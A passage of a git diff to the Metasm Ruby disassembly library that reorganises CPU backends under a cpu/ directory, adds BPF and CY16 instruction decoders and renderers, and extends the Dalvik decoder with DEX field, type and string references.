'metasm/arm/opcodes' +require 'metasm/cpu/arm/opcodes' module Metasm class ARM @@ -19,7 +19,7 @@ class ARM ["#{r} RRX"] else case s = @shift - when Integer; s = Expression[s] + when Integer; s = Expression[s == 0 ? 32 : s] # lsl and ror already accounted for when Reg; s = self.class.i_to_s[s.i] end ["#{r} #{@stype.to_s.upcase} #{s}"] diff --git a/lib/metasm/metasm/ppc.rb b/lib/metasm/metasm/cpu/bpf.rb similarity index 63% rename from lib/metasm/metasm/ppc.rb rename to lib/metasm/metasm/cpu/bpf.rb index 13b218461a..58a22abf0c 100644 --- a/lib/metasm/metasm/ppc.rb +++ b/lib/metasm/metasm/cpu/bpf.rb @@ -5,7 +5,5 @@ require 'metasm/main' -require 'metasm/ppc/parse' -require 'metasm/ppc/encode' -require 'metasm/ppc/decode' -require 'metasm/ppc/decompile' +require 'metasm/cpu/bpf/decode' +require 'metasm/cpu/bpf/render' diff --git a/lib/metasm/metasm/cpu/bpf/decode.rb b/lib/metasm/metasm/cpu/bpf/decode.rb new file mode 100644 index 0000000000..30451389fc --- /dev/null +++ b/lib/metasm/metasm/cpu/bpf/decode.rb @@ -0,0 +1,142 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/bpf/opcodes' +require 'metasm/decode' + +module Metasm +class BPF + def build_bin_lookaside + opcode_list.inject({}) { |h, op| h.update op.bin => op } + end + + # tries to find the opcode encoded at edata.ptr + def decode_findopcode(edata) + return if edata.ptr > edata.data.length-8 + di = DecodedInstruction.new self + code = edata.data[edata.ptr, 2].unpack('v')[0] + return di if di.opcode = @bin_lookaside[code] + end + + def decode_instr_op(edata, di) + op = di.opcode + di.instruction.opname = op.name + di.bin_length = 8 + code, jt, jf, k = edata.read(8).unpack('vCCV') + + op.args.each { |a| + di.instruction.args << case a + when :k; Expression[k] + when :x; Reg.new(:x) + when :a; Reg.new(:a) + when :len; Reg.new(:len) + when :p_k; PktRef.new(nil, Expression[k], op.props[:msz]) + when :p_xk; PktRef.new(Reg.new(:x), Expression[k], op.props[:msz]) + when :m_k; MemRef.new(nil, Expression[4*k], 4) + when :jt; Expression[jt] + when :jf; Expression[jf] + else raise "unhandled arg #{a}" + end + } + + # je a, x, 0, 12 -> jne a, x, 12 + # je a, x, 12, 0 -> je a, x, 12 + if op.args[2] == :jt and di.instruction.args[2] == Expression[0] + di.opcode = op.dup + di.opcode.props.delete :stopexec + di.instruction.opname = { 'jg' => 'jle', 'jge' => 'jl', 'je' => 'jne', 'jtest' => 'jntest' }[di.instruction.opname] + di.instruction.args.delete_at(2) + elsif op.args[3] == :jf and di.instruction.args[3] == Expression[0] + di.opcode = op.dup + di.opcode.props.delete :stopexec + di.instruction.args.delete_at(3) + end + + di + end + + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] + delta = di.instruction.args[-1].reduce + 1 + arg = Expression[addr, :+, 8*delta].reduce + di.instruction.args[-1] = Expression[arg] + + if di.instruction.args.length == 4 + delta = di.instruction.args[2].reduce + 1 + arg = Expression[addr, :+, 8*delta].reduce + di.instruction.args[2] = Expression[arg] + end + end + + di + end + + # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + def backtrace_binding=(b) @backtrace_binding = b end + + # populate the @backtrace_binding hash with default values + def init_backtrace_binding + @backtrace_binding ||= {} + + opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| + binding = case op + when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'add'; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } } + when 'sub'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } } + when 'mul'; lambda { |di, a0, a1| { a0 => Expression[a0, :*, a1] } } + when 'div'; lambda { |di, a0, a1| { a0 => Expression[a0, :/, a1] } } + when 'shl'; lambda { |di, a0, a1| { a0 => Expression[a0, :<<, a1] } } + when 'shr'; lambda { |di, a0, a1| { a0 => Expression[a0, :>>, a1] } } + when 'neg'; lambda { |di, a0| { a0 => Expression[:-, a0] } } + when 'msh'; lambda { |di, a0, a1| { a0 => Expression[[a1, :&, 0xf], :<<, 2] } } + when 'jmp', 'jg', 'jge', 'je', 'jtest', 'ret'; lambda { |di, *a| { } } + end + @backtrace_binding[op] ||= binding if binding + } + + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when PktRef, MemRef, Reg; arg.symbolic(di) + else arg + end + } + + if binding = backtrace_binding[di.opcode.name] + binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + {:incomplete_binding => Expression[1]} + end + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + if di.instruction.args.length == 4 + di.instruction.args[-2, 2] + else + di.instruction.args[-1, 1] + end + end + + # updates an instruction's argument replacing an expression with another (eg label renamed) + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + else a + end + } + end +end +end diff --git a/lib/metasm/metasm/cpu/bpf/main.rb b/lib/metasm/metasm/cpu/bpf/main.rb new file mode 100644 index 0000000000..b070065cd7 --- /dev/null +++ b/lib/metasm/metasm/cpu/bpf/main.rb @@ -0,0 +1,60 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class BPF < CPU + class Reg + attr_accessor :v + def initialize(v) + @v = v + end + + def symbolic(orig=nil) ; @v ; end + end + + class MemRef + attr_accessor :base, :offset, :msz + + def memtype + :mem + end + + def initialize(base, offset, msz) + @base = base + @offset = offset + @msz = msz + end + + def symbolic(orig) + p = Expression[memtype] + p = Expression[p, :+, @base.symbolic] if base + p = Expression[p, :+, @offset] if offset + Indirection[p, @msz, orig] + end + end + + class PktRef < MemRef + def memtype + :pkt + end + end + + def initialize(family = :latest) + super() + @endianness = :big + @size = 32 + @family = family + end + + def init_opcode_list + send("init_#@family") + @opcode_list + end +end +end + diff --git a/lib/metasm/metasm/cpu/bpf/opcodes.rb b/lib/metasm/metasm/cpu/bpf/opcodes.rb new file mode 100644 index 0000000000..35a55eb0b7 --- /dev/null +++ b/lib/metasm/metasm/cpu/bpf/opcodes.rb @@ -0,0 +1,81 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/bpf/main' + +module Metasm + +class BPF + def addop(name, bin, *args) + o = Opcode.new name, bin + args.each { |a| + o.args << a if @valid_args[a] + o.props.update a if a.kind_of?(::Hash) + } + @opcode_list << o + end + + def addop_ldx(bin, src) + addop 'mov', bin | 0x00, :a, src + addop 'mov', bin | 0x01, :x, src + end + + def addop_ldsz(bin, src) + addop 'mov', bin | 0x00, :a, src, :msz => 4 + addop 'mov', bin | 0x08, :a, src, :msz => 2 + addop 'mov', bin | 0x10, :a, src, :msz => 1 + end + + def addop_alu(name, bin) + addop name, bin | 0x04, :a, :k + addop name, bin | 0x0C, :a, :x + end + + def addop_j(name, bin) + addop name, bin | 0x05 | 0x00, :a, :k, :jt, :jf, :setip => true, :stopexec => true + addop name, bin | 0x05 | 0x08, :a, :x, :jt, :jf, :setip => true, :stopexec => true + end + + def init_bpf + @opcode_list = [] + [:a, :k, :x, :len, :m_k, :p_k, :p_xk, :jt, :jf].each { |a| @valid_args[a] = true } + + # LD/ST + addop_ldx 0x00, :k + addop_ldsz 0x20, :p_k + addop_ldsz 0x40, :p_xk + addop_ldx 0x60, :m_k + addop_ldx 0x80, :len + addop 'msh', 0xB1, :x, :p_k, :msz => 1 + addop 'mov', 0x02, :m_k, :a + addop 'mov', 0x03, :m_k, :x + + # ALU + addop_alu 'add', 0x00 + addop_alu 'sub', 0x10 + addop_alu 'mul', 0x20 + addop_alu 'div', 0x30 + addop_alu 'or', 0x40 + addop_alu 'and', 0x50 + addop_alu 'shl', 0x60 + addop_alu 'shr', 0x70 + addop 'neg', 0x84, :a + + # JMP + addop 'jmp', 0x05, :k, :setip => true, :stopexec => true + addop_j 'je', 0x10 + addop_j 'jg', 0x20 + addop_j 'jge', 0x30 + addop_j 'jtest',0x40 + addop 'ret', 0x06, :k, :stopexec => true + addop 'ret', 0x16, :a, :stopexec => true + + addop 'mov', 0x07, :x, :a + addop 'mov', 0x87, :a, :x + end + + alias init_latest init_bpf +end +end diff --git a/lib/metasm/metasm/cpu/bpf/render.rb b/lib/metasm/metasm/cpu/bpf/render.rb new file mode 100644 index 0000000000..1b4a68a27a --- /dev/null +++ b/lib/metasm/metasm/cpu/bpf/render.rb @@ -0,0 +1,41 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/bpf/opcodes' +require 'metasm/render' + +module Metasm +class BPF + class Reg + include Renderable + def render ; [@v.to_s] end + end + class MemRef + include Renderable + def render + r = [] + r << memtype + r << [nil, ' byte ', ' word ', nil, ' dword '][@msz] + r << '[' + r << @base if @base + r << '+' if @base and @offset + r << @offset if @offset + r << ']' + end + end + + def render_instruction(i) + r = [] + r << i.opname + if not i.args.empty? + r << ' ' + i.args.each { |a_| r << a_ << ', ' } + r.pop + end + r + end +end +end diff --git a/lib/metasm/metasm/cpu/cy16.rb b/lib/metasm/metasm/cpu/cy16.rb new file mode 100644 index 0000000000..bee7099f2e --- /dev/null +++ b/lib/metasm/metasm/cpu/cy16.rb @@ -0,0 +1,9 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/cy16/decode' +require 'metasm/cpu/cy16/render' diff --git a/lib/metasm/metasm/cpu/cy16/decode.rb b/lib/metasm/metasm/cpu/cy16/decode.rb new file mode 100644 index 0000000000..c3bc9a5812 --- /dev/null +++ b/lib/metasm/metasm/cpu/cy16/decode.rb @@ -0,0 +1,253 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/cy16/opcodes' +require 'metasm/decode' + +module Metasm +class CY16 + def build_opcode_bin_mask(op) + # bit = 0 if can be mutated by an field value, 1 if fixed by opcode + op.bin_mask = 0 + op.fields.each { |f, off| + op.bin_mask |= (@fields_mask[f] << off) + } + op.bin_mask ^= 0xffff + end + + def build_bin_lookaside + # sets up a hash byte value => list of opcodes that may match + # opcode.bin_mask is built here + lookaside = Array.new(256) { [] } + opcode_list.each { |op| + build_opcode_bin_mask op + b = (op.bin >> 8) & 0xff + msk = (op.bin_mask >> 8) & 0xff + for i in b..(b | (255^msk)) + lookaside[i] << op if i & msk == b & msk + end + } + lookaside + end + + def decode_findopcode(edata) + di = DecodedInstruction.new self + return if edata.ptr+2 > edata.length + bin = edata.decode_imm(:u16, @endianness) + edata.ptr -= 2 + return di if di.opcode = @bin_lookaside[(bin >> 8) & 0xff].find { |op| + bin & op.bin_mask == op.bin & op.bin_mask + } + end + + + def decode_instr_op_r(val, edata) + bw = ((val & 0b1000) > 0 ? 1 : 2) + case val & 0b11_0000 + when 0b00_0000 + Reg.new(val) + when 0b01_0000 + if val == 0b01_1111 + Expression[edata.decode_imm(:u16, @endianness)] + else + Memref.new(Reg.new(8+(val&7)), nil, bw) + end + when 0b10_0000 + if val & 7 == 7 + Memref.new(nil, edata.decode_imm(:u16, @endianness), bw) + else + Memref.new(Reg.new(8+(val&7)), nil, bw, true) + end + when 0b11_0000 + Memref.new(Reg.new(8+(val&7)), edata.decode_imm(:u16, @endianness), bw) + end + + end + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + bin = edata.decode_imm(:u16, @endianness) + + field_val = lambda { |f| + if off = op.fields[f] + (bin >> off) & @fields_mask[f] + end + } + + op.args.each { |a| + di.instruction.args << case a + when :rs, :rd; decode_instr_op_r(field_val[a], edata) + when :o7; Expression[2*Expression.make_signed(field_val[a], 7)] + when :x7; Expression[field_val[a]] + when :u3; Expression[field_val[a]+1] + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + di.instruction.args.reverse! + + di.bin_length += edata.ptr - before_ptr + + di + rescue InvalidRD + end + + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] and di.opcode.args.last == :o7 + delta = di.instruction.args.last.reduce + arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce + di.instruction.args[-1] = Expression[arg] + end + + di + end + + # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + def backtrace_binding=(b) @backtrace_binding = b end + + # populate the @backtrace_binding hash with default values + def init_backtrace_binding + @backtrace_binding ||= {} + + mask = 0xffff + + opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| + binding = case op + when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'add', 'adc', 'sub', 'sbc', 'and', 'xor', 'or', 'addi', 'subi' + lambda { |di, a0, a1| + e_op = { 'add' => :+, 'adc' => :+, 'sub' => :-, 'sbc' => :-, 'and' => :&, + 'xor' => :^, 'or' => :|, 'addi' => :+, 'subi' => :- }[op] + ret = Expression[a0, e_op, a1] + ret = Expression[ret, e_op, :flag_c] if op == 'adc' or op == 'sbb' + # optimises eax ^ eax => 0 + # avoid hiding memory accesses (to not hide possible fault) + ret = Expression[ret.reduce] if not a0.kind_of? Indirection + { a0 => ret } + } + when 'cmp', 'test'; lambda { |di, *a| {} } + when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask] } } + when 'call' + lambda { |di, a0| { :sp => Expression[:sp, :-, 2], + Indirection[:sp, 2, di.address] => Expression[di.next_addr] } + } + when 'ret'; lambda { |di, *a| { :sp => Expression[:sp, :+, 2] } } + # TODO callCC, retCC ... + when /^j/; lambda { |di, *a| {} } + end + + # TODO flags ? + + @backtrace_binding[op] ||= binding if binding + } + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Memref, Reg; arg.symbolic(di) + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + bd = {} + di.instruction.args.each { |aa| bd[aa.base.symbolic] = Expression[aa.base.symbolic, :+, aa.sz] if aa.kind_of?(Memref) and aa.autoincr } + bd.update binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + # assume nothing except the 1st arg is modified + case a[0] + when Indirection, Symbol; { a[0] => Expression::Unknown } + when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} + else {} + end.update(:incomplete_binding => Expression[1]) + end + end + + # patch a forward binding from the backtrace binding + def fix_fwdemu_binding(di, fbd) + case di.opcode.name + when 'call'; fbd[Indirection[[:sp, :-, 2], 2]] = fbd.delete(Indirection[:sp, 2]) + end + fbd + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + return [Indirection[:sp, 2, di.address]] if di.opcode.name =~ /^r/ + + case tg = di.instruction.args.first + when Memref; [Expression[tg.symbolic(di)]] + when Reg; [Expression[tg.symbolic(di)]] + when Expression, ::Integer; [Expression[tg]] + else + puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG + [] + end + end + + # checks if expr is a valid return expression matching the :saveip instruction + def backtrace_is_function_return(expr, di=nil) + expr = Expression[expr].reduce_rec + expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] + end + + # updates the function backtrace_binding + # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + b = f.backtrace_binding + + bt_val = lambda { |r| + next if not retaddrlist + b[r] = Expression::Unknown + bt = [] + retaddrlist.each { |retaddr| + bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, + :snapshot_addr => faddr, :origin => retaddr) + } + if bt.length != 1 + b[r] = Expression::Unknown + else + b[r] = bt.first + end + } + + if not wantregs.empty? + wantregs.each(&bt_val) + else + bt_val[:sp] + end + + b + end + + # returns true if the expression is an address on the stack + def backtrace_is_stack_address(expr) + Expression[expr].expr_externals.include?(:sp) + end + + # updates an instruction's argument replacing an expression with another (eg label renamed) + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + when Memref + a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset + a + else a + end + } + end +end +end diff --git a/lib/metasm/metasm/cpu/cy16/main.rb b/lib/metasm/metasm/cpu/cy16/main.rb new file mode 100644 index 0000000000..704bda76c5 --- /dev/null +++ b/lib/metasm/metasm/cpu/cy16/main.rb @@ -0,0 +1,63 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class CY16 < CPU + class Reg + class << self + attr_accessor :s_to_i, :i_to_s + end + @i_to_s = (0..14).inject({}) { |h, i| h.update i => "r#{i}" } + @i_to_s[15] = 'sp' + @s_to_i = @i_to_s.invert + + attr_accessor :i + def initialize(i) + @i = i + end + + def symbolic(orig=nil) ; to_s.to_sym ; end + + def self.from_str(s) + raise "Bad name #{s.inspect}" if not x = @s_to_i[s] + new(x) + end + end + + class Memref + attr_accessor :base, :offset, :sz, :autoincr + def initialize(base, offset, sz=nil, autoincr=nil) + @base = base + offset = Expression[offset] if offset + @offset = offset + @sz = sz + @autoincr = autoincr + end + + def symbolic(orig) + p = nil + p = Expression[p, :+, @base.symbolic] if base + p = Expression[p, :+, @offset] if offset + Indirection[p.reduce, @sz, orig] + end + end + + def initialize(family = :latest) + super() + @endianness = :little + @size = 16 + @family = family + end + + def init_opcode_list + send("init_#@family") + @opcode_list + end +end +end + diff --git a/lib/metasm/metasm/cpu/cy16/opcodes.rb b/lib/metasm/metasm/cpu/cy16/opcodes.rb new file mode 100644 index 0000000000..1fb20e4953 --- /dev/null +++ b/lib/metasm/metasm/cpu/cy16/opcodes.rb @@ -0,0 +1,78 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/cy16/main' + +module Metasm + +class CY16 + def addop(name, bin, *args) + o = Opcode.new name, bin + args.each { |a| + o.args << a if @fields_mask[a] or @valid_args[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = @fields_shift[a] if @fields_mask[a] + raise "wtf #{a.inspect}" unless @valid_args[a] or @valid_props[a] or @fields_mask[a] + } + @opcode_list << o + end + + def addop_macrocc(name, bin, *args) + %w[z nz b ae s ns o no a be g ge l le].each_with_index { |cc, i| + dbin = bin + dbin |= i << 8 + addop name + cc, dbin, *args + } + end + + def init_cy16 + @opcode_list = [] + @valid_args.update [:rs, :rd, :o7 + ].inject({}) { |h, v| h.update v => true } + @fields_mask.update :rs => 0x3f, :rd => 0x3f, :o7 => 0x7f, :x7 => 0x7f, :u3 => 7 + @fields_shift.update :rs => 6, :rd => 0, :o7 => 0, :x7 => 0, :u3 => 6 + + addop 'mov', 0<<12, :rs, :rd + addop 'add', 1<<12, :rs, :rd + addop 'adc', 2<<12, :rs, :rd + addop 'addc',2<<12, :rs, :rd + addop 'sub', 3<<12, :rs, :rd + addop 'sbb', 4<<12, :rs, :rd + addop 'subb',4<<12, :rs, :rd + addop 'cmp', 5<<12, :rs, :rd + addop 'and', 6<<12, :rs, :rd + addop 'test',7<<12, :rs, :rd + addop 'or', 8<<12, :rs, :rd + addop 'xor', 9<<12, :rs, :rd + + addop_macrocc 'int', (10<<12), :x7 + addop 'int', (10<<12) | (15<<8), :x7 + addop_macrocc 'c', (10<<12) | (1<<7), :setip, :saveip, :rd + addop 'call',(10<<12) | (15<<8) | (1<<7), :setip, :stopexec, :saveip, :rd + addop_macrocc 'r', (12<<12) | (1<<7) | 0b010111, :setip # must come before absolute jmp + addop 'ret', (12<<12) | (15<<8) | (1<<7) | 0b010111, :setip, :stopexec + addop_macrocc 'j', (12<<12), :setip, :o7 # relative + addop 'jmp', (12<<12) | (15<<8), :setip, :stopexec, :o7 # relative + addop_macrocc 'j', (12<<12) | (1<<7), :setip, :rd # absolute + addop 'jmp', (12<<12) | (15<<8) | (1<<7), :setip, :stopexec, :rd # absolute + + addop 'shr', (13<<12) | (0<<9), :u3, :rd + addop 'shl', (13<<12) | (1<<9), :u3, :rd + addop 'ror', (13<<12) | (2<<9), :u3, :rd + addop 'rol', (13<<12) | (3<<9), :u3, :rd + addop 'addi',(13<<12) | (4<<9), :u3, :rd + addop 'subi',(13<<12) | (5<<9), :u3, :rd + addop 'not', (13<<12) | (7<<9) | (0<<6), :rd + addop 'neg', (13<<12) | (7<<9) | (1<<6), :rd + addop 'cbw', (13<<12) | (7<<9) | (4<<6), :rd + addop 'sti', (13<<12) | (7<<9) | (7<<6) | 0 + addop 'cli', (13<<12) | (7<<9) | (7<<6) | 1 + addop 'stc', (13<<12) | (7<<9) | (7<<6) | 2 + addop 'clc', (13<<12) | (7<<9) | (7<<6) | 3 + end + + alias init_latest init_cy16 +end +end diff --git a/lib/metasm/metasm/cpu/cy16/render.rb b/lib/metasm/metasm/cpu/cy16/render.rb new file mode 100644 index 0000000000..2c2a680435 --- /dev/null +++ b/lib/metasm/metasm/cpu/cy16/render.rb @@ -0,0 +1,41 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/cy16/opcodes' +require 'metasm/render' + +module Metasm +class CY16 + class Reg + include Renderable + def render ; [self.class.i_to_s[@i]] end + end + class Memref + include Renderable + def render + r = [] + r << (@sz == 1 ? 'byte ptr ' : 'word ptr ') + r << '[' + r << @base if @base + r << '++' if @autoincr + r << ' + ' if @base and @offset + r << @offset if @offset + r << ']' + end + end + + def render_instruction(i) + r = [] + r << i.opname + if not i.args.empty? + r << ' ' + i.args.each { |a_| r << a_ << ', ' } + r.pop + end + r + end +end +end diff --git a/lib/metasm/metasm/cpu/dalvik.rb b/lib/metasm/metasm/cpu/dalvik.rb new file mode 100644 index 0000000000..e4c7b4eb61 --- /dev/null +++ b/lib/metasm/metasm/cpu/dalvik.rb @@ -0,0 +1,11 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +class Metasm::Dalvik < Metasm::CPU +end + +require 'metasm/main' +require 'metasm/cpu/dalvik/decode' diff --git a/lib/metasm/metasm/dalvik/decode.rb b/lib/metasm/metasm/cpu/dalvik/decode.rb similarity index 82% rename from lib/metasm/metasm/dalvik/decode.rb rename to lib/metasm/metasm/cpu/dalvik/decode.rb index 1b64eb0789..a52257b797 100644 --- a/lib/metasm/metasm/dalvik/decode.rb +++ b/lib/metasm/metasm/cpu/dalvik/decode.rb @@ -3,7 +3,7 @@ # # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/dalvik/opcodes' +require 'metasm/cpu/dalvik/opcodes' require 'metasm/decode' module Metasm @@ -12,7 +12,7 @@ class Dalvik end def decode_findopcode(edata) - return if edata.ptr >= edata.data.length + return if edata.ptr+2 > edata.length di = DecodedInstruction.new(self) di.opcode = opcode_list[edata.decode_imm(:u16, @endianness) & 0xff] edata.ptr -= 2 @@ -22,7 +22,7 @@ class Dalvik def decode_instr_op(edata, di) op = di.opcode di.instruction.opname = op.name - + val = [edata.decode_imm(:u16, @endianness)] op.args.each { |a| @@ -80,7 +80,7 @@ class Dalvik Expression[Expression.make_signed((val[1] >> 8) & 0xff, 8)] when :rlist4, :rlist5 cnt = (val[0] >> 12) & 0xf - val << edata.decode_imm(:u16, @endianness) + val << edata.decode_imm(:u16, @endianness) [cnt, 4].min.times { di.instruction.args << Reg.new(val[-1] & 0xf) val[-1] >>= 4 @@ -96,20 +96,40 @@ class Dalvik next when :m16 val << edata.decode_imm(:u16, @endianness) - Method.new(@dex, val.last) + DexMethod.new(@dex, val.last) + when :fld16 + val << edata.decode_imm(:u16, @endianness) + DexField.new(@dex, val.last) + when :typ16 + val << edata.decode_imm(:u16, @endianness) + DexType.new(@dex, val.last) + when :str16 + val << edata.decode_imm(:u16, @endianness) + DexString.new(@dex, val.last) else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" end } di.bin_length = val.length*2 + return if edata.ptr > edata.length + + di + end + + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname =~ /^if|^goto/ + arg = Expression[addr, :+, [di.instruction.args.last, :*, 2]].reduce + di.instruction.args[-1] = Expression[arg] + end + di end def backtrace_binding @backtrace_binding ||= init_backtrace_binding end - + def init_backtrace_binding @backtrace_binding ||= {} sz = @size/8 @@ -117,12 +137,12 @@ class Dalvik case op.name when /invoke/ @backtrace_binding[op.name] = lambda { |di, *args| { - :callstack => Expression[:callstack, :-, sz], + :callstack => Expression[:callstack, :-, sz], Indirection[:callstack, sz] => Expression[di.next_addr] } } when /return/ @backtrace_binding[op.name] = lambda { |di, *args| { - :callstack => Expression[:callstack, :+, sz] + :callstack => Expression[:callstack, :+, sz] } } end } @@ -136,9 +156,9 @@ class Dalvik else arg end } - + if binding = backtrace_binding[di.opcode.name] - bd = binding[di, *a] + binding[di, *a] else puts "unhandled instruction to backtrace: #{di}" if $VERBOSE # assume nothing except the 1st arg is modified @@ -150,20 +170,22 @@ class Dalvik end end - + def get_xrefs_x(dasm, di) if di.opcode.props[:saveip] m = di.instruction.args.first - if m.kind_of? Method and m.off + if m.kind_of?(DexMethod) and m.off [m.off] else [:default] end elsif di.opcode.props[:setip] - if di.opcode.name =~ /return/ + if di.opcode.name =~ /^return/ [Indirection[:callstack, @size/8]] + elsif di.opcode.name =~ /^if|^goto/ + [di.instruction.args.last] else - [] # [di.instruction.args.last] + [] # [di.instruction.args.last] end else [] diff --git a/lib/metasm/metasm/dalvik/main.rb b/lib/metasm/metasm/cpu/dalvik/main.rb similarity index 58% rename from lib/metasm/metasm/dalvik/main.rb rename to lib/metasm/metasm/cpu/dalvik/main.rb index b0a0884ffc..264192cfb4 100644 --- a/lib/metasm/metasm/dalvik/main.rb +++ b/lib/metasm/metasm/cpu/dalvik/main.rb @@ -23,13 +23,14 @@ class Dalvik < CPU end end - class Method + class DexMethod attr_accessor :dex, :midx, :off def initialize(dex, midx) @dex = dex @midx = midx if @dex and m = @dex.methods[midx] and c = @dex.classes[m.classidx] and c.data and - me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.method == m } + me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.methodid == midx } + # FIXME this doesnt work @off = me.codeoff + me.code.insns_off end end @@ -44,6 +45,54 @@ class Dalvik < CPU end end + class DexField + attr_accessor :dex, :fidx + def initialize(dex, fidx) + @dex = dex + @fidx = fidx + end + + def to_s + if @dex and f = @dex.fields[@fidx] + @dex.types[f.classidx] + '->' + @dex.strings[f.nameidx] + else + "field_#@fidx" + end + end + end + + class DexType + attr_accessor :dex, :tidx + def initialize(dex, tidx) + @dex = dex + @tidx = tidx + end + + def to_s + if @dex and f = @dex.types[@tidx] + f + else + "type_#@tidx" + end + end + end + + class DexString + attr_accessor :dex, :sidx + def initialize(dex, sidx) + @dex = dex + @sidx = sidx + end + + def to_s + if @dex and f = @dex.strings[@sidx] + f.inspect + else + "string_#@sidx" + end + end + end + def initialize(*args) super() @size = args.grep(Integer).first || 32 diff --git a/lib/metasm/metasm/dalvik/opcodes.rb b/lib/metasm/metasm/cpu/dalvik/opcodes.rb similarity index 95% rename from lib/metasm/metasm/dalvik/opcodes.rb rename to lib/metasm/metasm/cpu/dalvik/opcodes.rb index 48b858eec4..bef8d243bd 100644 --- a/lib/metasm/metasm/dalvik/opcodes.rb +++ b/lib/metasm/metasm/cpu/dalvik/opcodes.rb @@ -11,7 +11,7 @@ # the opcode number is in the low-order byte, and determines the # argument format, which may take up to 4 other words -require 'metasm/dalvik/main' +require 'metasm/cpu/dalvik/main' module Metasm class Dalvik @@ -61,9 +61,11 @@ invoke_virtual_quick invoke_virtual_quick_range invoke_super_quick invoke_super_ unused_fc unused_fd unused_fe unused_ff] def init_dalvik - @valid_props << :canthrow - @valid_args = [:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64, - :r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5, :m16] + @valid_props[:canthrow] = true + [:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64, + :r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5, + :m16, :fld16, :typ16, :str16 + ].each { |a| @valid_args[a] = true } @opcode_list = [] OPCODES.each_with_index { |n, b| @@ -80,7 +82,7 @@ unused_fc unused_fd unused_fe unused_ff] def addop_args(op) fmt = case op.name when 'goto' - :fmt10t + :fmt10t when 'nop', 'return_void' :fmt10x when 'const_4' @@ -119,12 +121,16 @@ unused_fc unused_fd unused_fe unused_ff] :fmt20t when 'goto_32' :fmt30t - when 'const_string', 'const_class', 'check_cast', - 'new_instance', 'sget', 'sget_wide', 'sget_object', + when 'const_string' + 